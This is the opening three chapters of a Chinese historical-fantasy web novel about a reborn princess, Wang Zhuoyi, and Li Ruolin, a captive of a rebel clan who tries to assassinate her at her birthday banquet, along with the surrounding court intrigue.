《可是你也砂锅我》 1. 雪中聆旧 十一月的最后一日,洛阳忽然下了好大的一场雪。 直棂窗外白光如刃。 杜鹃鸟不合时宜的一声锐鸣,如冷箭穿心。 锐鸣声间,寿灵公主猝然睁眼,汹涌的呕欲瞬间将她吞噬。 ** 三日之后,雪终于停了。 卯时,云破日出,李若林坐在囚车里进了洛阳城。 城门前,寿灵公主府的长史吴盈亲自等候,截下解囚的队伍,带李若林下了囚车。 是时,一件白罗衫换去解囚道上的脏衣,顿时衬出了青白秀美的人面,吴盈看他赤足,体恤他难堪,还给他寻来一双绫袜和丝履。 十八岁的李若林,长眉细目,温顺得令人心疼。 吴盈轻声问他要不要吃一些东西。 李若林在城墙边穿上绫袜丝履,雪里伏身向吴盈道谢,口中却辞说不用。 吴盈见他沉闷,不免向解囚的军士问及他性情如何。 谁想押解他的军士也很疑惑,说李若林原似狡兔,路上光逃跑就逃跑了三次,想着是寿灵公主要的人,皮肉要紧,他们也不好打他,只能拿铁链子拴着,正怕拴出个好歹来,三日前,李若林在蒙山下的野渡口,突然痛哭了一大场,哭后又求他们买来黄纸。跪在水边戴镣焚纸,哭祭父母。 那一叠黄纸烧完,他就像变了一个人一样,沉默温顺听话懂事,没再让他们操一点心。只是不再吃荤腥,一路上单饮清水,不过三日,人就瘦了好大一圈。 吴盈心想正好。 寿灵公主王卓仪,那是十分好瘦男。 这一日,是建元四十三年,腊月初二。 王卓仪二十三岁的生辰,恰逢大寒节令。 西山的明月园提前竣工,太子王宪从阳蕖劈出一源,引入园中,蓄成一十丈见宽的活水池,取名“芙蕖海”,芙蕖海边,临水建了一座五层高楼,仍以“明月”为名。白日登临,可俯瞰西山有名的百里杏林。 这座新园是太子王宪送给王卓仪的生辰礼,王卓仪十分喜欢,生辰宴也就顺理成章地举在园中。 吴盈带着李若林向明月园去,山道上雪积得很厚,牛车行得很慢,车上西山时,天已经快黑了。 李若林抱膝缩坐于车内一角,一言不发。 吴盈举灯看他的形容,他眉眼细长,皮肤冷白,再看腰处,一条素绦封住阔衣。 吴盈觉得不可思议,西陇距洛阳千里之遥,素未谋面,他怎么就知道寿灵公主最爱的做派。 吴盈正出神,李若林咳了一声,抬头朝牛车外看去。 山中寒烟弥漫,他扶着车壁,眼底既有恐惧,也暗藏期许。 长得好看的年轻人,总不叫人厌烦。 吴盈出声安抚他,让他不必太害怕,说他运气是不错的。今日太子王宪和良娣宋浓、以及昌平长公主等宗亲女眷都在园中。王卓仪很高兴。若是选中了他留府侍奉,那西陇李氏的遗族,就能保全性命了。 李若林抬起头,问了吴盈一个问题。 “寿灵公主,她人好吗?” 吴盈听李若林这么问,不禁有些怜悯地看着他,却不知道该如何回答。 寿灵公主王卓仪是建元帝和原配萧皇后唯一的女儿。 大魏自建国起,至今存萧、李、陈、宋、谢、五大氏族。 五大族通婚多年,互为姻亲,势力盘根错节。其中河内萧氏乃五大氏族之首。 建元帝长年多病不在朝,萧皇后代掌魏政,珠帘一垂就是十二年。虽为弱质女,弹压门阀却游刃有余。 王卓仪十六岁那年,萧皇后命太尉谢楼独子谢洇休弃原妻李氏,做天家驸马,入寿灵公主府,侍奉王卓仪。谢洇长王卓仪八岁,王卓仪好瘦男,而谢洇身长肩宽,虽也算容姿俊秀,却并不得王卓仪喜欢。成婚多年,只得公主府一间独室自居。 然而萧谢二族却因这门姻亲,从此同气连枝,其势不可同日而语。 建元三十八年,萧皇后病死于西山长秋寺中,一生五次怀孕,最后却只留下了王卓仪这一个女儿。因此在她死后,萧谢二族随之并尊王卓仪一人。 这一年的王卓仪十八岁,是一朝天子女,也是二族掌家人,她得到了她母亲最贵重的遗产——半个建元门阀。 那么她是一个什么样的人呢?其实也不难猜。 一个人有了权势和钱财,就会开始玩弄这世上最美好的东西——人。 建元四十三年的春天,李氏叛魏,史称西陇之变,河内萧氏领兵平叛,李氏兵败,族首李尚夫妇自溺于樊江,族人全数获罪,其中就有驸马谢洇的前妻李善宁,以及她的胞弟——李若林。 所以李若林问王卓仪人好吗? 吴盈只能告诉他:“公主待府中人,尚算仁悯。” 李若林听罢没有再问下去,车中虽局促,他仍然恭敬地向吴盈行跪,俯身埋首,向吴盈提了一个听来有些诡异的请求。 “罪人拜殿下前,请长使为罪人穿右耳,挂银坠。” ** 就在吴盈看着李若林的模样,暗陷疑惑之时,西山明月园的临寒楼上,王卓仪一把推开直棂窗,一大抔梅花的香气扑面而来。 她单手支颚,倚看楼下的那片白茫茫的雪地。 楼中正演《明君舞》。 歌者流声,舞者投袂,好不热闹。 曲声掩着王卓仪的声音,恰只供她身侧侍立的谢洇听清。 “含朱说你午时才来,忙什么呢?” 谢洇原在观舞,听得王卓仪问他,转身应道:“去长秋寺买了水渍乌梅。” 王卓仪侧目:“你知道我前日吐了?” “是。” “那当日怎么不买给我?” 谢洇没有解释,只拱手赔罪道:“谢洇有错,请殿下责罚。” 王卓仪托腮发笑:“说点别的我听听。” 谢洇静静地看着王卓仪,席上她已经喝了三巡酒,此时两颊绯红,眼底浸着一汪水,口含三分醉意,竟像在逗弄谢洇一般。 谢洇不自觉地别过脸,开口说了一件正事,“西陇两郡,我举了你表兄萧惟春作督军,暂时节制两镇军政。” 王卓仪拨弄着窗格上的雪粉,问道:“什么时候的事?” 谢洇答道:“前日。” 王卓仪挑起下巴,目光扫向正观舞的王宪,“你说话的时候,皇兄也在御前吗?他没说什么?” 谢洇道:“西陇仓满,太子盯的是仓里的东西。不过,李氏一族尚未定罪,暂时还算不到钱这一项上去。” 王卓仪沉吟须臾,“等年后吧。正月杀人,父皇病中忌讳,我觉得也不好。” “嗯。” 谢洇点头,认可了王卓仪的话,见王卓仪端了一杯冷酒起来,便伸手压下。 “三日前才病了一场,你不要喝冷酒。” 王卓仪忽地冷了声:“谢洇,别逼我泼你。” 谢洇倒不在意王卓仪的无礼,仍平声问道:“你是不是心情不好?” 王卓仪随手把冷酒泼了,放下空杯,不再理睬谢洇,反而扬声,问王宪道:“皇兄,你送我的礼物呢?” 王宪正看舞看得入神,一时没听见,倒是他身旁的良娣宋浓站起了身。 她正怀着六个月的身孕,身子沉重,行动不便,却仍然对王卓仪全了礼数,恭声回道:“在园门外面候着,怕不知道殿下的规矩,叫殿下生气,所以不敢带进来,殿下既问,妾这就让吴长史,把他们带上来。” 宋浓说完这番话,王卓仪却没有回应,宴上一时也无人敢言语,宋浓耳根微红,不禁局促起来。 归仁县主冷笑了一声,仰头喝了大半杯梨白。 宋浓讪得厉害,心里也着实疑惑,她是王卓仪的挚友,但不知道为什么,三日前,王卓仪对她态度竟冷淡了下来,从前每隔两三日就要召她去公主邸,促膝长叙无话不谈,今日却一句也没对她说。 宋浓正不知如何是好,王卓仪忽开了口道:“带上来做什么?” 王卓仪的头半靠在谢洇肩上,笑道:“今日的雪这么好,就放在楼下,连雪带你们的礼,我一并观赏了。” 宋浓忙应了一声“是。”侧目有些歉疚地看了看谢洇,扶着婢女的手,正要亲自去吩咐,忽听王卓仪叫她。 “宋浓。” 宋浓回身:“殿下还有什么吩咐吗?” 王卓仪摆了摆手,“你回来坐,我叫吴盈过去。” 宋浓颔首一笑:“虽殿下体恤,妾又何敢轻狂。” 王宪这才从歌舞里回过神来,伸来臂膀拍了拍宋浓的肩,“既然殿下疼你,你就谢恩坐吧,又张罗什么。今儿在众人眼前行事,像东府的事都是经你照管的一样。” “她照管不得吗?” 王卓仪冲着王宪脱口而出。 王宪笑道:“行,你就护她吧,孤能说什么。”说完也走到了楼边。 不多时,天渐黑尽,临寒楼下梅林中悬起百灯。 十来个少年 在梅影间跪下,他们来时都被换上了白绸衫,薄如蝉翼,若有似无地遮蔽着皮肤。 大寒这一日真的好冷,但所有人都咬着牙关,尽力抑着身上的寒颤。 “都跪好了,要点灯了。” 吴盈发了话,百盏黄纱宫灯齐燃,灯火渐次亮起,楼下的风也适时止了,唯剩大雪在天地之间,静静地落着。李若林跪在其中,抬头只能看到大片大片的雪影。 丝竹舞乐也都暂时停了下来,前来为王卓仪的拜寿的宗室女眷纷纷离座,随王卓仪一道,聚向窗边。 昌平长公主立在谢洇身旁,不动声色地说道:“怎么混进了一个不该有的人啊。” 谢洇并未出声,昌平长公主索性转向谢洇,“驸马,听说,楼下这些人,都是你掌过眼的。” 谢洇点头,“是。” 昌平长公主道:“其实你好好求一求寿灵,她未必就不肯保全李善宁和你们女儿的性命。” 谢洇看着楼下的少年们自嘲一笑,“我年岁大了,入不得她的眼。我求她,只会让她厌烦。” 昌平长公主道:“所以你把李若林接进洛阳了?” 谢洇没有否认。 昌平长公主叹了一口气,“那人不过十八岁,懂得什么呢?若一样行不好,倒叫寿灵生气。” 谢洇的目光定在李若林的身上,“她看过李若林的画像,很喜欢。” 谢洇这样说,昌平长公主笑了笑,不再多话。 此时王卓仪的婢女含朱上楼回话,“殿下,吴长使预备好了。” “好。” 王卓仪托腮下望,“点灯,我看看。” 楼下早有吴盈等人提着灯上前,从下跪的少年面前走过,将他们的身型和面貌依次照亮。 宋浓近前道:“若这些都不好,殿下就做主处置了吧。” 王卓仪托着下巴,说是要看,却连一眼都不赏。 宫灯照过一个个年轻俊秀的面庞,看得众宗氏女眷面飞红晕,王卓仪却道:“有罪的杀了,无罪的放了,我这几日好累,忽然觉得没什么兴致了,不如一会儿烫了桃花酒来,咱们尽兴地喝了。上西山顶观夜雪的好。” 谢洇正要说什么,却被昌平长公主暗中拉了一把。 宋浓笑道:“那感情好,正想殿下领着咱们乐呢。” 说完自然地伸了手,携王卓仪回身,谁想忽被一道光晃了晃眼,王卓仪也站住了脚步。 王宪疑道:“什么东西?” 楼下的吴盈忙回道:“回太子殿下,是一枚耳坠子……晃了火光,刺着殿下眼了,奴这就给他摘了。” 宗氏中有几个女眷议论道:“男子穿耳,这也太……” “谁戴了耳坠?” 这话是王卓仪问的,宋浓心细,听出了这话里的兴致,随即端看王卓仪,见她一扫将才的倦意,竟有了十分的精神。 吴盈在下听了,忙行至李若林身旁回道:“回殿下,是李若林。” “掰过脸来,我看看。” “是。” 吴盈挥手,立即有仆从上前,将李若林带着耳坠的侧脸掰了过来。 那是一张很好看的侧脸,鼻梁高挺,下颚轮廓凌厉,重要的是他年轻,有一身如雪缎般的皮肤,王卓仪平生只好一色,便是“雪白”,只好一物,便是瘦腰。 李若林都有。 谢洇见此,也暗自松了一口气,如他所想,王卓仪朝楼下扔出一句:“他留下。”说完又对他说道:“我心里突得难受,恐是酒沉了。” 谢洇忙道:“臣送殿下去素居歇一歇。” 王卓仪点头:“也好。” 谢洇道:“既如此,臣命人为殿下备醒酒饮。” 王卓仪站起身,“不用了,你也不必来过来照看,且服侍好太子殿下和我姑姑。” 就这么一句话,王卓仪虽未明讲缘由,但在场众人皆心知肚明。 吴盈自然更加明白王卓仪的兴致所在,亲自提灯弯腰,查看李若林的左耳, 铁针穿孔的新鲜伤口还很红肿,硬挂上去的那只白银耳坠,还沾着未干的血。 “好心思啊。”吴盈弯下腰对还跪在地上李若林说道。 李若林应道:“谢吴长史。” 吴盈笑了笑,“入眼不易,后面且得更用心,才有好前途。” 李若林站起身回道:“罪人知道。” 吴盈“嗯”了一声,吩咐左右:“带他下去,周身洗净,换了亵衣,送到素居去。” 2. 雪中聆旧(二) 所谓素居,其实是明月园中临水而建的一间孤阁,隔着芙蕖海与明月楼遥遥相望。 因为王卓仪好“白”,素居中一应纱幔皆是白的。奴仆给李若林所换的底衣,也是白绫所制,唯独襟口绣着一道青色的银柳纹,那是母族萧氏的徽印。 含朱亲自检查了李若林的穿戴,从头发到脚趾,一处都没有放过。 确认他皮肤无尘,毛发干净,这才亲自将他送到素居门前。 是时,素居的门大开着,李若林抬起头,但见独案放着一只玉瓶,瓶中清供乃是一丛幽香四溢的梅花,独案后一大片白纱高悬,纱后独放一张雕花榻,建元朝最尊贵的女子,此时正闭眼侧卧在榻上。 人似将将睡下,略带酒劲儿的呼吸尚不安稳。 李若林低头,见一缕青丝由榻沿落下,直垂地面,发尾挂着一根松落的金簪。 “去吧。” 含朱推了一把李若林的腰,他不禁踉跄了几步,就这么几步,人已然到了雕花榻边。 室中静得人心慌,李若林在榻前伏身跪下,几乎能听到自己的心跳,声如暗室擂鼓,一声一声敲得他骨颤。他吞咽几口的,方才张开了嘴,轻道:“罪人李若林,拜见殿下。” 好半晌,那独榻上的人才半睁开眼,却不动身,只支起半张脸,歪靠在枕上朝李若林看来。 “你那耳坠太粗糙了,谁给你的?” 李若林伸手摘下耳坠,放于膝边,“罪人卑微,向长史乞得此物,已属逾矩,不敢贪求奢贵。” “李若林。” 她忽然连名带姓地唤了李若林一声,陡然激起李若林的一阵战栗,但他没有迟疑,几乎在她话音落下的那一刻,就接连应道:“在。”随着这一声,眉目陡抬,之前那脆弱而温顺的眼神忽然敛去,眼底竟中闪过一丝极端而激烈的欲望。 王卓仪并没有看清那转瞬即逝的眼神,但她却看见李若林悄然间狠狠掐了一把他自己的腿骨。 王卓仪没有出声,缓缓地坐起身,双腿自然地垂放在了李若林面前。 “你以前,听说过我的事吗?”她问李若林。 李若林脖颈渐渐涨红,在雪白皮肤的映衬之下,越发艳人眼目,“殿下之名,岂可轻易……入罪人耳。” “哦。” 这一声似乎透着失落,李若林正要请罪,却听头顶再道:“无妨,毕竟耳听为虚,眼见才为实。” “是,殿下教训的是。” 眼前轻勾来一根修长的手指,人声随指而动,“来,抬头。” 李若林应声抬起头,面前是一张带微醺发红的面容。 “你多大?” “十八。” “那真是很好的年纪。” “谢殿下夸奖。” 榻上的人一笑,忽转话问道:“你来的时候,谢洇教过你规矩吗……” “没有!” 李若林声音急促,几乎截断王卓仪的话,引动她冷面挑眉。 李若林顿时噤若寒蝉,俯身埋头,将自己圈进了纱幔的阴影里。 其实谢洇早就教过李若林,甚至只恨言传,不得身教。 李若林在西陇监中时,谢洇给他写过一封信,其中言辞直白毫不顾及他谢氏长公子的身份,将他在内如何服侍公主,在外如何应承公主的事务,以及公主的脾性和喜好,全部一一写明。读得李若林赤耳,深恨他少时一向敬重的姐夫,怎么变成了这副没有骨头的样子。 “算了,先过来,我试试你。” “是……” 李若林跪得久了,难免踉跄,好在他不着痕迹地撑了一把地面,白袖扫地,竟悄然带起了那支落地的金簪。 他迅速将簪子藏入袖中,赤脚踩上王卓仪的卧榻,屈膝在王卓仪身边跪下,挪动膝盖缓缓地跪至王卓仪身后。 王卓仪抬手挽起披散的头发,撇向一侧,灯火的光照顿时亮了王卓仪的雪白的脖子。 人的要害美丽而脆弱,李若林低眼,看了一眼袖中的金簪,忽然猛地跪直双腿,双手紧紧握着金簪高举而起。 “去死!” 他撕心裂肺地喊出这一声,双手应声砸下,眼见那簪子就要刺破王卓仪的脖子,王卓仪却忽地拧过脖子,搂起满身薄纱轻巧往边上一翻,竟精准地避开了李若林的全力一击,顺势抬腿,朝着他李若林的胸口狠狠地踹了一脚。 李若林顿时失去重心,猛地跌落独榻。头磕在地上,血印即出。 他顾不上痛,挣扎着想要爬起来,然而为求瘦骨,一路上他早已将自己饿得饥肠辘辘,手脚乏力,一击不中,哪里还有机会。应声而入的侍卫不由分说地将他摁死在了地上,那根金簪也被含朱夺了过去。 一时之间绑绳上身,他像死囚临刑一般,破了心防,一声一声地喊着:“去死!去死啊!你去死啊!王卓仪你给我去死啊!” 王卓仪坐在独榻上,静静地看着地上的李若林。 他突然就哭了,哭得十分痛苦,似有某种万箭穿心般伤痛在心中忍了几十年,此刻积而迸发,近乎令他失智。 然而他只有十八岁。 十八岁的人被扭缠在绳索之间,那张脸梨花带雨,哭得实在很美。 “为什么要给自己穿耳?”王卓仪忽然发问,哭喊挣扎之中的李若林,却根本听不见王卓仪的任何声音。 “你以前不是很厌恶穿耳,死也不肯戴耳坠给我看吗?” 这一问,王卓仪的声音很轻,连她自己都听得不清,室内只有李若林的惨呼在回荡。 “王卓仪,你去死吧!你去死啊,去死啊,去死……去死……” 喊着喊着,声音渐渐哑了,他也挣扎得脱了力,瘫软在地上,时不时痉挛蹬脚,身上的亵衣被侍卫扯得稀乱,眼泪和汗水交混在一起,呛进口鼻,他狼狈得像一只待杀的幼兽,最后慢慢地在王卓仪眼前蜷缩成一团,泣不成声。 侍卫见王卓仪不说话,只得上前问道:“殿下,怎么处置他。” 王卓仪这才站起身,“让驸马过来,把这个人交给他。” “是。” 侍卫说完,看着李若林的模样,唯恐他还有同谋者在园中伺机,不禁再问道:“殿下还要回酒宴上去吗?此人行刺殿下,宴上恐怕还有……” “无妨。” 王卓仪反手拢起头发,“他不是什么刺客,他只是……” 她说着,又回头了看了一眼李若林,李若林那满眼的恨意,可惧又可怜。 “李若林。” 李若林抽出一声冷嗝,缓缓移过眼。 “你是不是记得什么?” 王卓仪终是忍不住又问了一句,却径直换来一句带着哭腔的“你真恶心……” 王卓仪心下一沉。 是时门户之外,一大抔冷风越过芙蕖海,掀飞了无数重帘幕,一片白纱拂过王卓仪的脸颊,往事如涟花浪蕊,顿时翻进了她的脑海…… 这是王卓仪重活的第二次。 建元四十三年的腊月初二,是她每一世人生的转折点。 这一日,西陇李氏的二公子,孤身入明月园,从此,王卓仪的人生就奔入了两极之地。 第一世她深爱李若林的皮囊和他狡黠而灵动性情,一己之力捧他上高台。 人生短短几十年,她爱这个人爱得要死要活,拿着母亲遗留的巨大政治财富,被李若林哄着,在建元朝不断地为人作嫁,好事做尽。 建元五十三年,漠北大军攻入飞雪关,李若林和王宪率军秘密南撤,留她在关内为饵,请漠北军入瓮。飞雪关被破后,李若林半道回杀,和王宪的军队一道截断了关外道路,将漠北军和王卓仪一起封死在关内。那时关内兵荒马乱,她和来不及逃离的老弱百姓们藏在城中的有灵寺中,后来满城绝粮,不断有百姓饿死,甚至被漠北军杀而食之,她只得走出人群,用她自己这个人,去叛军马下,给孩子们换粮来吃。 临去前,她含泪写了一篇绝笔,压在了大殿东面的铜镜下。 她猜到了她自己会死。 果不其然,漠北军用的她的命来逼李若林和王宪开城,城门外回应他们的只有王宪的万箭齐发,李若林在哪里,她不知道。 愤怒的漠北军将王卓仪悬于城楼之上,她奄奄一息,临死之前,听关内百姓震喊:“公主大义!” 而那孤儿捧着饼,泪流满面地望着她,她惊出一身冷汗,骇觉人生至末尾,秋风寒刺骨,李若林骗光了她,只给她剩了一件裹身的素衣。 她是个好人。 但她好惨啊! 再睁眼,是建元四十三年的冬天。 明月楼下再相遇,王卓仪恨得咬牙切齿,当即决定向李若林复仇,事实上她也做到了。 素居十年,为了不再爱上李若林,王卓仪绞杀掉了李若林的全部欲望和自由,囚禁他于明月园素居,准他随身侍奉,照顾自己的饮食和起居,却始终不碰他的身子。 终于,前世被她养得像狐狸一样的政客,慢慢变成了不哭不笑,卑微寡言的奴隶。 王卓仪让李若林苟延残喘到了二十八岁那一年,其间她和宋氏斗富,和昌平长公主博弈,和王宪争权,活得好不精彩。 独留李若林在明园中,闭塞、平庸。 终于,她盛极一时,也彻底厌倦李若林的痛苦,赐了他一条白绫。 那一幕,是王卓仪一生得意之作。 她杀人如丹青写意,漫天风雪也甘做画布,纵容她把一个仇人的性命,泼成了大雪之中的一点朱砂红。 那日,白衣人跪白雪地,白长绫绕白玉脖。 李若林抓着脖子上的白绫,跪在地上含泪问她:“殿下为什么要这么对待我?” 王卓仪本来想将前世孽缘告诉他,然而,话到嘴边又恶毒地吞了回去。 她不想他死而瞑目,反而决定把事做绝,既杀人也要诛心,于是她笑着回答李若林:“你还记得你第一次在明月园见我时,我赐了你一枚越珠耳坠。当时你宁死也不肯为我穿耳为我戴上。你李若林是那么无趣的一个人,你根本不会取悦我,根本不配,和我欢好。” 李若林听罢,面上浮出惨笑来,如同呆滞的偶人一般,垂下了头颅。 脖子白绫猛地收紧,临死之前,李若林对王卓仪说了最后一句话:“你真恶心……” 就在那一刻,白绫勒断了李若林的脖子,人声戛然而止。 大雪之中,无边的寂寞向王卓仪涌来,她长叹了一口气,原来因果了断后,人是这么得空虚。 至此李若林杀了王卓仪一次,王卓仪也杀了李若林一次。 故事到这里本应该结束了。 后来王卓仪斗垮了昌平长公主,斗赢了王宪,毒酒几十盏送走了皇兄的整个东府。 再后来,她在朝上挟制着建元帝,过了一段不错的人生,只不过她做得也没比她那个冷血的兄长好多少。王朝积弊已深,天下钱粮几乎半数聚在门阀家中,她尽力了,但最后也没什么结果,她用金银和权势笼络的这些贵族,始终死 死抱着自身利益,怎么也不肯松手。 漠北的铁骑如期而至,还是建元五十八年,王卓仪从洛阳去往飞雪关,住在有灵寺。 她想去看一看上辈子压下她绝笔的那面铜镜,然而那面铜镜却不见了,大殿的东面,放着一只巨大的青釉瓶,瓶身尘满,像是很多年都不曾被人触碰过,唯独在瓶口留下了一处极淡极淡的指纹。 她正想走近去看看,表兄萧惟春却满身是血地从城门上回来,告诉她,飞雪关守不住了。 王卓仪随着表兄走上城楼,飞雪关战况之惨烈令她颤栗,城楼下是来不及的被收尸的守关军,身后是绝望的飞雪关百姓。 王卓仪看着上辈子悬挂她的那条绳索,忽然想起了,前世李若林献祭她的那个计策。 她犹豫了。 那一刻她有点想李若林,却分不清想的是那个把她丢弃在飞雪关的李若林,还是想那个被她闷杀在素居的李若林。 深吸一口气,王卓仪闭上眼睛,做了一个选择。 再次睁开眼,面前铜镜映出她满头乌发,窗外雪影簌簌。 王卓仪摁住自己痛得快要炸裂开来的头,喉咙处的窒息感令她猛地呕了出来。 这是什么地方,飞雪关呢? 她在飞雪关上做的什么决定?那个决定又再次逼死了她吗? 她怎么……一点都想不起来了。 含朱捧来一盆清水要替王卓仪梳洗,她忙问含朱今昔几何,得知又是建元四十三年的冬天。 她受不了,终于“哇”地一声吐了个天昏地暗。 老天在做什么呢?就这样没完没了地戏弄她一个人。 正得发邪的日子,邪得发正人生,她都过完了,可走到头结果好像都是那样,天灾、人祸应接不暇,王朝有王朝的宿命,末路的权贵们和她一起奔赴金银和权势的报应,该死的死,该散的散,改朝换代天地苍茫,人生?哪还有半点意思。 所以人还能怎么过这一辈子? 王卓仪呕尽了五脏六腑的腥污,却也没有得到一个清明的答案。 老天一言不发,就这样看着她疑惑而麻木地,再次迎来了她自己二十四岁的生日。 明月园依然提前竣工。 明月楼照样歌舞升平。 闺中挚友宋浓虽然身怀六甲,还是为她的生辰忙前忙后,替她遍寻天下,寻来了十八个相貌清秀的奴隶,她一低头,陡然入眼的,还是十八岁的李若林。 她本想不管李若林,这辈子毫无交集,就这么各自收着对彼此的野心,稀里糊涂地过去算了,反正到最后也就那样…… 但! 等一下! 他为什么给自己穿了耳? 为什么偏偏是“穿耳”? 他……记得什么? 无数的疑问像针一样刺破了她麻木的心,王卓仪欣喜又恐惧,好似在重复的人世间寻到了一个变数,这个变数是她的爱和仇恨,是她的姻缘。 她想试试李若林。 她必须要试试李若林。 可试过的结果又令她无比失落。 李若林只像那个被她豢养又被她赐死的李若林,他没有开智,虽然满腔仇恨非要杀她不可,但行动毫无章法,像只咬人的红眼兔子,被摁死后心防大破,扑腾着四肢哭喊挣扎,等着被她开膛破肚。 如此荒唐的行径,半分都不像那个逼入飞雪关的苦心人。 所以他到底记得些什么?又到底忘了什么? 飞雪关?城楼绞杀? 李若林? 李若林! 王卓仪心绪激荡,不断地朝着向虚空发问。 耳边除了那阵年轻的哭声,不断地骂着她“恶心”,没有回应。 他好像真的不记得,他没资格骂王卓仪恶心,毕竟,他也杀过王卓仪。 卓仪的脚底和手掌都凉了下来,与此同时也发现她根本不知道,眼下该如何对待这样的一个李若林呢? 好好待他,难免再被他玩弄至死。 再次将他囚禁羞辱,似乎也没有任何道理。 一段本来已经写完了故事,两个结局里,彼此一死一活,男女两人各自功德圆满,恩仇互报,如何另起一笔,硬续孽缘? 况且就算孽缘硬续也该让这个男人记的他自己的狠,记得他在王卓仪身上得到无边利益,凭何让他癫狂而自洽,来报一段根本没资格报的仇。从而令他无法和王卓仪对坐,无法摒弃周遭喧闹,话两世恩仇,无法在这荒谬的人间,和她王卓仪共饮一杯阴阳爱恨的苦酒。 王卓仪不甘心。 “我到底哪里恶心了?”王卓仪问李若林。 李若林浑身一颤,这一句他倒是真的听清楚了,然而却像是听到了什么不可思议的荒唐之言,死死地盯着王卓仪撑地欲起,却被护卫举起的刀背,猛地劈倒在地上。 一时间之间,他呕出了一口鲜血,却再次叫出了她的名字。 “王卓仪……我恨……” “算了!” 王卓仪打断他。她意识到她心中的情绪不可名状,却翻涌得令她即将失态。 好在她还有驸马谢洇,他是李若林的姐夫,应该能替她权衡处置李若林的方法,既不要李若林性命,也不纵他肆意妄为。 想到这里,王卓仪索性转了身,不再看李若林,对侍卫道:“把他交给驸马,告诉驸马,今日的事,罪只在李若林一个人身上,我不牵连李氏一门,他做处置的时候,不必自作多情,想得太多。” 3. 雪中聆旧(三) 西山气象万千,就在王卓仪走后不久,山里又下起了粉末一般的细雪。 这是西山最好的赏雪时节,宗妇女眷们纷纷相携至楼边,仆婢点来薰笼,唯恐雪气沾了贵人衣。 人群之外,宋浓行向一角,独自望向楼外不得王卓仪青睐的少年们。 王卓仪去得促,只带走了李若林一人,没留下处置其他人的话,他们就只能候着,一个个单衣冒雪,受着寒气,冷颤难忍。宋浓不忍,欲去谢洇处替他们求个所在,却没在人群中寻见谢洇,眼见楼下已有少年冻得膝肘撑地,惟靠相互拉扯才勉强跪住。 这些人本就是她以太子王宪的名义送给王卓仪的,如今这样看着倒不成事。宋浓思索了一阵,决定自己暂替王卓仪做一个主。 她这样想着已人行至梯口,正要下楼,忽见谢洇不知道什么时候已经去到了少年们面前。 明月园中的公主邸仆紧随驸马而去,依谢洇令,将单衣之众尽数搀起,送下去安置。 宋浓深知谢洇的性情,见此知诸事必然妥当,便欲作罢回席,然而楼下灯色轻晃,寒枝深影被遮了一半,飞檐下时是时又走出一人,宋浓定睛看去,辨出那人正是之前一直沉湎歌舞的王宪。 身为太子良娣,宋浓在外一向得体,想这二人避在暗处私话,不该她窥听,便只作不知道,转身回席。 刚走几步,见归仁县主走来,到了她面前也不见礼,径直问宋浓道:“太子表兄呢?怎不见了?“ “哦,殿下他……” 归仁县主根本不在意宋浓有孕在身,随手拨了一把她的肩膀,朝前走道:“母亲说表兄将才吃的都是冷酒,该回席上吃些滚汤热菜才好。”说着便要往楼下去寻。 宋浓忙拦下她,含笑回道:“县主,我已遣人去请太子殿下了。” 归仁县主这才看向宋浓,修眉暗挑,忽冷声道:“你做什么呢?一整晚儿数你最热闹,不知事的还以为今日是你的寿辰,这明月园是为你盖的,我们也该向你称殿下呢。” 这话说得实不好听,楼边赏雪的宗妇难免侧目,宋浓环顾四下,忍住不适,颔首向归仁县主道:“我去侍奉长公主殿下。” 说完作礼相辞,侧身从归仁县主身旁行过。 谁知县主却陡然提高了声音,“你从前侍奉我,后来又侍奉寿灵,为讨她的欢心,不知从什么地方翻出楼下那些上不得台面的人送给寿灵,也不怕沾污了她的名声。你自己看看,今夜这宴席上,寿灵她作兴你吗?我可是听说,你前几日多次请见,她却整整晾了你三日。” 宋浓站住脚步,忍性道:“殿下怎么待我是殿下的事,许是我侍奉得不心,才遭殿下责备,我自知道改。” 归仁县主转身跟来,笑道:“还改呢?改了有用?你看看,你将才跟她说话,她连正眼都不赏你。” 宋浓抿唇不言语,归仁县主又道:“这会儿又想着去侍奉我母亲了,将才你跟着寿灵转悠的时候,眼里有谁?怎么?现下你知道自己在寿灵她那儿没脸面了,又妄图粘带上我母亲了?” 归仁县主的这一番话虽未当众说出,但并不避讳楼上众人,宋浓抬头看了眼在场的宗妇,面上终是挂不住,红了半截脖颈,手也渐渐捏紧了。 归仁县主道:“你捏着手做什么?” 一面说着一面朝她走来。 宋浓忙后退道:“没有……” 归仁步步紧逼,“你是不是又偷什么东西了!” 此刻明月楼下,谢洇正在查看一个少年的膝伤,吴盈在旁侍立听令,少年惶恐又不敢违逆驸马,只顾闭着眼,死死地抿着唇。谢洇对吴盈道:“明日闲时,我去请殿下的意思。若殿下没有别的话,你就将他们都放在园里,衣食两项,还是由我们供养。” “是,驸马。” 谢洇轻轻放下少年的裤腿,直起身来,温声对少年道:“打西陇来吗?” 少年点头,“是……” “李姓?” “是……小人李书常……”少年下意识地回答,忙又撇远道:“不过只是同李姓连宗,父母与叛贼久不通信所以……” “没事,我知道了。”谢洇打断慌张的少年,并没有再往下问,转身对吴盈道:“带他下去上药吧。” “诶,是。” 吴盈边说边上来,搀扶着少年去了。 谢洇这才朝芙蕖海对岸望了一眼,枯木层叠,又逢细雪织阵,湖上除了寒枝寂影,哪里看得见素居的轮廓。 谢洇收回目光欲回席上,忽听身后有人唤他,那人声并未称其驸马尊位,反称了他在朝的官名。 “谢曹郎。” 今日来园赴宴的都是王族宗妇,在朝者独太子王宪一人。 谢洇回头,果见王宪亲自举着一盏羊首烛灯,正立在他面前。 “这明月园是孤送给寿灵的,但打这芙蕖海开凿的那一日,孤就说过,这园林的一草一木,一仆一婢,都由孤来供养,何况这些人是良娣送给寿灵的贺礼,你又何必揽去。” 谢洇拱手行礼,应道:“回殿下,仆婢是仆婢,臣不敢违逆殿下疼惜公主的心意,但这二十余少年,按礼当归在公主邸内。其属内宠,而非仆婢,虽暂养于园中,臣又何敢让他们动用殿下的器物。” 王宪听完,不禁笑了一声,“谢曹郎这样说,心里半分不难受吗?” 谢洇含笑摇头,再次拱手道:“臣侍奉公主,如珍己目。” 王宪笑道:“孤信你。孤虽不齿你为官的做派,但为人夫,你谢洇堪赞一声‘无瑕’,毕竟孤见过,你从前是如何对待李氏女的。” 提及旧妻,谢洇抬了眼,“殿下想说什么?” 王宪手中的羊首灯照亮了谢洇的脸,王宪试图从这张脸上看出些情绪,奈何他面如静湖,既无屈辱,也不含愧。 王宪索性直言,“其实,你想救回李氏女和你的女儿,大不必忍辱给寿灵送内宠。你也可试试,求在孤的门下。” 谢洇紧接道:“那臣要用什么向殿下换呢?” 